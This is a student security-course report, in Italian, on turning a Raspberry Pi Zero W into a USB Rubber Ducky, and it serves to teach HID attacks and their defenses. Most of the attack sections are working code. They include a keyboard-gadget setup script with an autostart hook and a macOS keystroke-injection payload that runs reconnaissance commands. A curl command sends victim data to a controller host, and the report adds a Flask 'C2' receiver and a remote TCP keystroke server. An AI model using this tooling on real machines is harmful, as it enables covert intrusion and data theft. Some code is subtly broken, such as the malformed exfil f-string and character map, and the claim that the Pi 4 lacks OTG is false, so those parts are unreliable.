

Simulazione di un USB Rubber Ducky

con Raspberry Pi Zero

Materia: Sicurezza ICT

Studenti:

Matteo Maruca

Andrea Pezzolla

Anno Accademico 2025/2026

SUPSI – Dipartimento Tecnologie Innovative

Abstract

Questo report documenta la realizzazione di un dispositivo USB Rubber Ducky utilizzando un Raspberry Pi Zero W. Il progetto esplora le tecniche di attacco HID (Human Interface Device), la simulazione di una tastiera USB automatizzata e l'implementazione di un sistema di controllo remoto tramite rete Ethernet. L'obiettivo didattico è comprendere le vulnerabilità legate ai dispositivi USB e le relative contromisure difensive.

Contents

1	Introduzione	2
1.1	Cos'è un USB Rubber Ducky?	2
1.2	Obiettivi del Progetto	2
1.3	Architettura del Sistema	2
2	Hardware e Materiali	3
2.1	Componenti Utilizzati	3
2.2	Perché il Raspberry Pi Zero W?	3
3	Setup e Configurazione	4
3.1	Installazione del Sistema Operativo	4
3.2	Abilitazione Modalità USB OTG (HID Gadget)	4
3.2.1	Modifica config.txt	4
3.2.2	Modifica cmdline.txt	4
3.3	Configurazione HID Gadget via USB	4
4	Sviluppo del Payload	6
4.1	Approccio Nativo Linux (senza librerie esterne)	6
4.2	Payload con Esfiltrazione Dati via Rete	7
5	Server C2 (Command & Control)	9
6	Livello 2 – Controllo Remoto Interattivo	10
6.1	Architettura	10
6.2	Script Server sul Pi Zero	10
6.3	Client sul PC Controller	11
7	Risultati e Demo	12
7.1	Demo Livello 1 – Payload Automatico	12
7.2	Demo Livello 2 – Controllo Remoto	12
8	Difese e Contromisure	13
8.1	USBGuard – Protezione Linux	13
8.2	Considerazioni Etiche e Legali	13
9	Conclusioni	14
9.1	Risultati Ottenuti	14
9.2	Sviluppi Futuri	14
9.3	Riflessioni	14
A	File di Configurazione Completi	15
A.1	config.txt (sezione rilevante)	15
A.2	cmdline.txt	15
A.3	Checklist Setup Completo	15
B	Riferimenti	15

Introduzione

Cos'è un USB Rubber Ducky?

Un USB Rubber Ducky è un dispositivo di penetration testing sviluppato da Hak5 che si presenta al sistema operativo come una normale tastiera USB (dispositivo HID). Una volta collegato, esegue automaticamente una sequenza di comandi preconfigurati (payload) con la velocità di una tastiera automatizzata, aggirando molte difese tradizionali basate su software.

Il termine *exploit* in questo contesto si riferisce a una sequenza di comandi che sfrutta la fiducia implicita che i sistemi operativi ripongono nei dispositivi HID collegati via USB. A differenza di un malware tradizionale, questo tipo di attacco:

- Non richiede l'installazione di software malevolo
- Funziona su qualsiasi sistema operativo (Windows, macOS, Linux)
- Bypassa gli antivirus tradizionali
- Agisce in pochi secondi dal collegamento

Obiettivi del Progetto

1. Comprendere il funzionamento dei dispositivi HID USB
2. Implementare un Rubber Ducky con hardware commodity (Raspberry Pi Zero W)
3. Creare payload didattici per dimostrare le vulnerabilità
4. Implementare un sistema di controllo remoto (Livello 2)
5. Documentare le contromisure difensive

Architettura del Sistema

Il progetto è strutturato su due livelli di complessità crescente:

Livello	Descrizione	Componenti
Livello 1	Payload preconfezionati	Pi Zero + PC Vittima
Livello 2	Controllo remoto interattivo	Controller + Pi Zero + PC Vittima

L'architettura completa del Livello 2 è la seguente:

```
[PC Controller] --Ethernet--> [Pi Zero / RubberDucky] --USB--> [PC Vittima]
```

Hardware e Materiali

Componenti Utilizzati

- **Raspberry Pi Zero W** – dispositivo principale che simula il Rubber Ducky
- **MicroSD card** (minimo 8GB) – sistema operativo e payload
- **Cavo micro-USB OTG** – collegamento al PC vittima (obbligatoriamente dati, non solo carica)
- **PC Vittima** – macOS nel nostro caso (il payload è adattabile)
- **PC Controller** – per il controllo remoto (Livello 2)

Perché il Raspberry Pi Zero W?

A differenza degli altri modelli Raspberry Pi (3B+, 4B), il Pi Zero W è l'unico modello con supporto **USB OTG (On-The-Go)** nativo tramite la porta micro-USB. Questo permette al dispositivo di operare in modalità *device* (periferica) invece che solo in modalità *host*, consentendo di fingersi una tastiera agli occhi del PC vittima.

Modello	USB OTG	Usabile come HID
Raspberry Pi Zero W	✓	✓
Raspberry Pi 3 Model B+	×	×
Raspberry Pi 4	×	×

Setup e Configurazione

Installazione del Sistema Operativo

1. Scaricare **Raspberry Pi Imager** da [raspberrypi.com/software](https://www.raspberrypi.com/software)
2. Selezionare: Device → Raspberry Pi Zero W
3. Selezionare: OS → Raspberry Pi OS Lite (32-bit)
4. Prima del flash, configurare in *Edit Settings*:
 - Hostname: `raspberrypi`
 - Username: `pi`, Password: (a scelta)
 - WiFi SSID e password (rete 2.4GHz – il Pi Zero W non supporta 5GHz)
 - Abilitare SSH con autenticazione tramite password
 - Country: IT, Timezone: Europe/Rome

Abilitazione Modalità USB OTG (HID Gadget)

Dopo il flash, la SD appare come volume `bootfs`. È necessario modificare due file per abilitare la modalità gadget USB:

3.2.1 Modifica `config.txt`

Aggiungere in fondo al file nella sezione `[all]`:

```
1 echo "dtoverlay=dwc2" >> /Volumes/bootfs/config.txt
```

Listing 1: Aggiunta `dtoverlay` in `config.txt`

3.2.2 Modifica `cmdline.txt`

Aggiungere il modulo `libcomposite` dopo `rootwait` (**tutto su una sola riga, senza a-capo**):

```
1 console=serial0,115200 console=tty1 root=PARTUUID=xxxx rootfstype=ext4  
fsck.repair=yes rootwait modules-load=dwc2,libcomposite quiet splash
```

Listing 2: Aggiunta modulo `libcomposite` in `cmdline.txt`

Configurazione HID Gadget via USB

Per configurare il Pi Zero come tastiera HID, è necessario uno script che configuri il *USB Composite Gadget* tramite il filesystem `configfs`:

```
1 #!/bin/bash  
2 # Configura il Pi Zero come tastiera HID USB  
3  
4 modprobe libcomposite  
5  
6 cd /sys/kernel/config/usb_gadget/  
7 mkdir -p mykeyboard
```

```

8 cd mykeyboard
9
10 # Identificatori USB
11 echo 0x1d6b > idVendor      # Linux Foundation
12 echo 0x0104 > idProduct    # Multifunction Composite Gadget
13 echo 0x0100 > bcdDevice
14 echo 0x0200 > bcdUSB
15
16 # Stringhe descrittive
17 mkdir -p strings/0x409
18 echo "fedcba9876543210" > strings/0x409/serialnumber
19 echo "RaspberryPi" > strings/0x409/manufacturer
20 echo "HID Keyboard" > strings/0x409/product
21
22 # Configurazione
23 mkdir -p configs/c.1/strings/0x409
24 echo "Config 1" > configs/c.1/strings/0x409/configuration
25 echo 250 > configs/c.1/MaxPower
26
27 # Funzione HID
28 mkdir -p functions/hid.usb0
29 echo 1 > functions/hid.usb0/protocol      # Keyboard
30 echo 1 > functions/hid.usb0/subclass     # Boot Interface
31 echo 8 > functions/hid.usb0/report_length
32
33 # HID Report Descriptor (tastiera standard)
34 echo -ne \
35     '\x05\x01\x09\x06\xa1\x01\x05\x07\x19\xe0\x29\xe7\x15\x00\x25\x01' \
36     '\x75\x01\x95\x08\x81\x02\x95\x01\x75\x08\x81\x03\x95\x05\x75\x01' \
37     '\x05\x08\x19\x01\x29\x05\x91\x02\x95\x01\x75\x03\x91\x03\x95\x06' \
38     '\x75\x08\x15\x00\x25\x65\x05\x07\x19\x00\x29\x65\x81\x00\xc0' \
39     > functions/hid.usb0/report_desc
40
41 ln -s functions/hid.usb0 configs/c.1/
42 ls /sys/class/udc > UDC
43
44 echo "HID gadget configurato su /dev/hidg0"

```

Listing 3: setup_hid.sh – Configurazione gadget HID

Questo script va eseguito come root all'avvio, prima che il PC vittima rilevi il dispositivo. Viene configurato tramite /etc/rc.local:

```

1 #!/bin/bash
2 sleep 5
3 bash /boot/firmware/setup_hid.sh >> /tmp/hid_setup.log 2>&1
4 sleep 2
5 python3 /boot/firmware/payload.py >> /tmp/payload.log 2>&1 &
6 exit 0

```

Listing 4: rc.local – Avvio automatico

Sviluppo del Payload

Approccio Nativo Linux (senza librerie esterne)

Il payload è scritto in Python puro, senza librerie esterne, scrivendo direttamente sul device `/dev/hidg0` tramite report HID standard. Questo approccio non richiede connessione internet per l'installazione di dipendenze.

```

1  #!/usr/bin/env python3
2  """
3  Rubber Ducky Payload - Approccio nativo Linux
4  Scrive direttamente su /dev/hidg0 senza librerie esterne
5  Target: macOS (adattabile a Windows/Linux)
6  """
7  import time
8  import struct
9
10 # Keycodes HID standard (USB HID Usage Tables)
11 KEY_ENTER = 0x28
12 KEY_SPACE = 0x2C
13 KEY_MOD_META = 0x08 # CMD su Mac / WIN su Windows
14
15 # Mappa caratteri minuscoli -> keycode HID
16 CHAR_MAP = {
17     'a': 0x04, 'b': 0x05, 'c': 0x06, 'd': 0x07, 'e': 0x08,
18     'f': 0x09, 'g': 0x0A, 'h': 0x0B, 'i': 0x0C, 'j': 0x0D,
19     'k': 0x0E, 'l': 0x0F, 'm': 0x10, 'n': 0x11, 'o': 0x12,
20     'p': 0x13, 'q': 0x14, 'r': 0x15, 's': 0x16, 't': 0x17,
21     'u': 0x18, 'v': 0x19, 'w': 0x1A, 'x': 0x1B, 'y': 0x1C,
22     'z': 0x1D, '1': 0x1E, '2': 0x1F, '3': 0x20, '4': 0x21,
23     '5': 0x22, '6': 0x23, '7': 0x24, '8': 0x25, '9': 0x26,
24     '0': 0x27, ' ': 0x2C, '\n': 0x28, '=': 0x2E, '/': 0x38,
25     '.': 0x37, '-': 0x2D,
26 }
27
28 # Mappa caratteri maiuscoli/speciali (con SHIFT)
29 SHIFT_MAP = {
30     'A': 0x04, 'B': 0x05, 'C': 0x06, 'D': 0x07, 'E': 0x08,
31     'F': 0x09, 'G': 0x0A, 'H': 0x0B, 'I': 0x0C, 'J': 0x0D,
32     'K': 0x0E, 'L': 0x0F, 'M': 0x10, 'N': 0x11, 'O': 0x12,
33     'P': 0x13, 'Q': 0x14, 'R': 0x15, 'S': 0x16, 'T': 0x17,
34     'U': 0x18, 'V': 0x19, 'W': 0x1A, 'X': 0x1B, 'Y': 0x1C,
35     'Z': 0x1D, '!'': 0x1E, '"': 0x34, ':'': 0x33, '_': 0x2D,
36 }
37
38 def send_report(modifier, keycode):
39     """Invia un report HID al PC vittima tramite /dev/hidg0"""
40     report = struct.pack('8B', modifier, 0, keycode, 0, 0, 0, 0, 0)
41     release = struct.pack('8B', 0, 0, 0, 0, 0, 0, 0, 0)
42     with open('/dev/hidg0', 'rb+') as f:
43         f.write(report) # Tasto premuto
44         time.sleep(0.05)
45         f.write(release) # Tasto rilasciato
46         time.sleep(0.05)
47
48 def press_combo(modifier, keycode):
49     """Premi una combinazione di tasti (es. CMD+SPACE)"""
50     send_report(modifier, keycode)

```

```
51
52 def type_text(text):
53     """Digita una stringa carattere per carattere"""
54     for ch in text:
55         if ch in CHAR_MAP:
56             send_report(0x00, CHAR_MAP[ch])
57         elif ch in SHIFT_MAP:
58             send_report(0x02, SHIFT_MAP[ch])
59             time.sleep(0.04)
60
61 def press_enter():
62     send_report(0x00, KEY_ENTER)
63
64 # =====
65 # PAYLOAD PRINCIPALE - Target: macOS
66 # =====
67
68 # Attendi che il PC riconosca il dispositivo USB
69 time.sleep(3)
70
71 # 1. Apri Spotlight (CMD + SPACE)
72 press_combo(KEY_MOD_META, KEY_SPACE)
73 time.sleep(0.8)
74
75 # 2. Cerca e apri il Terminale
76 type_text("Terminal")
77 time.sleep(0.5)
78 press_enter()
79 time.sleep(1.5)
80
81 # 3. Esegui comandi di raccolta informazioni
82 commands = [
83     'echo "=== SISTEMA COMPROMESSO ==="',
84     'echo "=== HOSTNAME ===" && hostname',
85     'echo "=== UTENTE ===" && whoami',
86     'echo "=== INDIRIZZO IP ===" && ipconfig getifaddr en0',
87     'echo "=== DATA ===" && date',
88     'echo "=== FINE ==="',
89 ]
90
91 for cmd in commands:
92     type_text(cmd)
93     press_enter()
94     time.sleep(0.5)
```

Listing 5: payload.py – Script HID nativo

Payload con Esfiltrazione Dati via Rete

Una versione avanzata del payload invia i risultati a un server remoto:

```
1 # Aggiunta al payload per inviare dati al server C2
2 # Da inserire dopo i comandi nel terminale della vittima
3
4 SERVER_IP = "192.168.1.100" # IP del server controller
5 SERVER_PORT = 8080
6
7 exfil_cmd = (
```



```
8      f'curl -X POST http://{SERVER_IP}:{SERVER_PORT}/collect '
9      f'-d "${hostname}-${whoami}-${ipconfig getifaddr en0}"'
10 )
11
12 type_text(exfil_cmd)
13 press_enter()
```

Listing 6: Payload con invio dati via HTTP

Server C2 (Command & Control)

Il server C2 riceve i dati inviati dal payload sulla macchina vittima e li salva per l'analisi.

```
1 #!/usr/bin/env python3
2 """
3 Server C2 - Riceve i dati esfiltrati dal payload
4 Eseguire sul PC controller: python3 server.py
5 """
6 from flask import Flask, request
7 from datetime import datetime
8 import os
9
10 app = Flask(__name__)
11 os.makedirs("risultati", exist_ok=True)
12
13 @app.route('/collect', methods=['POST'])
14 def collect():
15     data = request.get_data(as_text=True)
16     ts = datetime.now().strftime("%Y%m%d_%H%M%S")
17     path = f"risultati/output_{ts}.txt"
18
19     with open(path, "w", encoding="utf-8") as f:
20         f.write(data)
21
22     print(f"\n{'='*50}")
23     print(f"[+] Dati ricevuti -- {ts}")
24     print(f"{'='*50}")
25     print(data)
26     print(f"[*] Salvato in: {path}")
27     return "OK", 200
28
29 @app.route('/risultati')
30 def lista():
31     files = os.listdir("risultati")
32     return "<br>".join(files) if files else "Nessun risultato."
33
34 if __name__ == '__main__':
35     print("[*] Server C2 in ascolto su http://0.0.0.0:8080")
36     app.run(host='0.0.0.0', port=8080, debug=False)
```

Listing 7: server.py – Server ricevente

Livello 2 – Controllo Remoto Interattivo

Architettura

Il Livello 2 aggiunge un PC Controller che invia comandi in tempo reale al Raspberry Pi Zero, il quale li esegue come tastiera HID sulla vittima:

[PC Controller] --Ethernet--> [Pi Zero] --USB HID--> [PC Vittima]

- **PC Controller:** invia comandi da digitare tramite socket TCP
- **Pi Zero (RubberDucky):** riceve i comandi e li esegue come tastiera
- **PC Vittima:** vede solo una tastiera che digita comandi

Script Server sul Pi Zero

```
1 #!/usr/bin/env python3
2 """
3 Server HID remoto - gira sul Pi Zero
4 Riceve comandi via TCP e li digita tramite HID
5 """
6 import socket
7 import struct
8 import time
9
10 # Stessa mappa del payload.py
11 CHAR_MAP = { ... } # vedi payload.py
12 SHIFT_MAP = { ... }
13
14 def send_report(modifier, keycode):
15     report = struct.pack('8B', modifier, 0, keycode, 0, 0, 0, 0, 0)
16     release = struct.pack('8B', 0, 0, 0, 0, 0, 0, 0, 0)
17     with open('/dev/hidg0', 'rb+') as f:
18         f.write(report)
19         time.sleep(0.05)
20         f.write(release)
21         time.sleep(0.05)
22
23 def type_text(text):
24     for ch in text:
25         if ch in CHAR_MAP:
26             send_report(0x00, CHAR_MAP[ch])
27         elif ch in SHIFT_MAP:
28             send_report(0x02, SHIFT_MAP[ch])
29         time.sleep(0.04)
30     send_report(0x00, 0x28) # ENTER
31
32 # Avvia server TCP
33 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
34 server.bind(('0.0.0.0', 9999))
35 server.listen(1)
36 print("[*] In attesa di connessioni su :9999")
37
38 conn, addr = server.accept()
39 print(f"[+] Connesso da {addr}")
40
```

```
41 while True:
42     try:
43         cmd = conn.recv(1024).decode().strip()
44         if not cmd or cmd == 'exit':
45             break
46         print(f"[>] Digits: {cmd}")
47         type_text(cmd)
48         conn.send(b"OK\n")
49     except:
50         break
51
52 conn.close()
```

Listing 8: remote_hid.py – Server HID remoto sul Pi Zero

Client sul PC Controller

```
1 # Dal PC Controller, ci si connette al Pi Zero
2 # e si digitano comandi che verranno eseguiti sulla vittima
3 nc PI_ZERO_IP 9999
4
5 # Esempio di sessione interattiva:
6 # > echo "Ciao dalla vittima"
7 # OK
8 # > whoami
9 # OK
10 # > ipconfig getifaddr en0
11 # OK
```

Listing 9: Connessione al Pi Zero dal Controller

Risultati e Demo

Demo Livello 1 – Payload Automatico

Collegando il Pi Zero al PC vittima (macOS), il dispositivo viene riconosciuto come tastiera USB. Dopo circa 3 secondi dall'inserimento:

1. Il payload apre Spotlight con **CMD+SPACE**
2. Digita **Terminal** e preme **ENTER**
3. Nel terminale aperto esegue automaticamente i comandi:

```
1 === SISTEMA COMPROMESSO ===  
2 === HOSTNAME ===  
3 MacBook-di-Vittima.local  
4 === UTENTE ===  
5 vittima  
6 === INDIRIZZO IP ===  
7 192.168.1.42  
8 === DATA ===  
9 Fri May 23 14:30:00 CEST 2026  
10 === FINE ===
```

Listing 10: Output del payload sulla macchina vittima

Demo Livello 2 – Controllo Remoto

Con il Pi Zero collegato sia al PC vittima (USB) che al Controller (Ethernet):

1. Il Controller si connette al Pi Zero via TCP sulla porta 9999
2. Digita comandi dalla propria tastiera
3. I comandi vengono trasmessi al Pi Zero
4. Il Pi Zero li "digita" automaticamente sul PC vittima
5. I risultati vengono inviati al server C2 via HTTP

Difese e Contromisure

La comprensione degli attacchi HID è fondamentale per implementare difese efficaci. Di seguito le principali contromisure:

Attacco	Tecnica	Difesa
HID Spoofing	Il dispositivo si finge tastiera	USBGuard (Linux), politiche USB su Windows
Payload automatico	Esecuzione immediata al collegamento	Disabilitare autorun, whitelist dispositivi USB
Esfiltrazione dati	Invio dati via HTTP/curl	Firewall egress, DLP (Data Loss Prevention)
Accesso remoto	Controllo via TCP	Network segmentation, IDS/IPS
Privilege escalation	Comandi con sudo/admin	Principio del minimo privilegio

USBGuard – Protezione Linux

```

1 # Installazione USBGuard
2 sudo apt install usbguard
3
4 # Genera regole per i dispositivi attualmente connessi
5 sudo usbguard generate-policy > /etc/usbguard/rules.conf
6
7 # Abilita e avvia il servizio
8 sudo systemctl enable usbguard
9 sudo systemctl start usbguard
10
11 # Blocca tutti i nuovi dispositivi HID non in whitelist
12 sudo usbguard block-device ID

```

Listing 11: Configurazione USBGuard per bloccare dispositivi HID non autorizzati

Considerazioni Etiche e Legali

L'utilizzo di dispositivi Rubber Ducky o tecniche HID su sistemi non autorizzati costituisce un reato penale in Italia (D.Lgs. 231/2001, art. 615-ter c.p.) e nella maggior parte dei paesi. Tutto il lavoro documentato in questo report è stato eseguito esclusivamente su dispositivi di proprietà degli autori, in ambiente controllato, a scopo puramente didattico.

Conclusioni

Risultati Ottenuti

Il progetto ha permesso di:

- Comprendere in profondità il protocollo USB HID e le sue vulnerabilità
- Implementare un Rubber Ducky funzionale con hardware a basso costo (Pi Zero W, ~15€)
- Sviluppare payload in Python nativo senza dipendenze esterne
- Realizzare un sistema di controllo remoto bidirezionale
- Comprendere le contromisure difensive applicabili in contesti reali

Sviluppi Futuri

- Implementazione di payload per Windows e Linux
- Cifratura della comunicazione Controller → Pi Zero
- Interfaccia web per il controllo remoto (P4wnP1 A.L.O.A.)
- Analisi forense post-attacco

Riflessioni

Questo progetto dimostra come dispositivi economici e facilmente reperibili possano essere utilizzati per attacchi sofisticati, evidenziando l'importanza della *security awareness* e delle politiche di controllo accessi fisici nelle organizzazioni. La miglior difesa rimane la combinazione di consapevolezza degli utenti, politiche di sicurezza fisica e strumenti tecnici come USBGuard.

File di Configurazione Completi

config.txt (sezione rilevante)

```
1 [all]
2 dtoverlay=dwc2
```

cmdline.txt

Attenzione: questo file deve contenere tutto su una sola riga senza interruzioni di linea.

```
1 console=serial0,115200 console=tty1 root=PARTUUID=xxxx-xx rootfstype=
  ext4 fsck.repair=yes rootwait modules-load=dwc2,libcomposite quiet
  splash
```

Checklist Setup Completo

- ☐ Flash SD con Raspberry Pi OS Lite 32-bit
- ☐ Configurare WiFi (rete 2.4GHz), SSH, hostname in Imager
- ☐ Aggiungere `dtoverlay=dwc2` in `config.txt`
- ☐ Aggiungere `modules-load=dwc2,libcomposite` in `cmdline.txt`
- ☐ Copiare `setup_hid.sh` e `payload.py` sulla SD
- ☐ Configurare `rc.local` per l'avvio automatico
- ☐ Connettere il Pi Zero via cavo dati USB al PC vittima
- ☐ Verificare con `system_profiler SPUSBDataType` (macOS)

Riferimenti

- USB HID Usage Tables: https://usb.org/sites/default/files/hut1_4.pdf
- Raspberry Pi Documentation: <https://www.raspberrypi.com/documentation/>
- P4wnP1 A.L.O.A.: https://github.com/RoganDawes/P4wnP1_aloa
- Payload Studio Community: <https://payloadstudio.com/community/>
- USBGuard: <https://usbguard.github.io/>
- Linux USB Gadget API: https://www.kernel.org/doc/html/latest/usb/gadget_configfs.html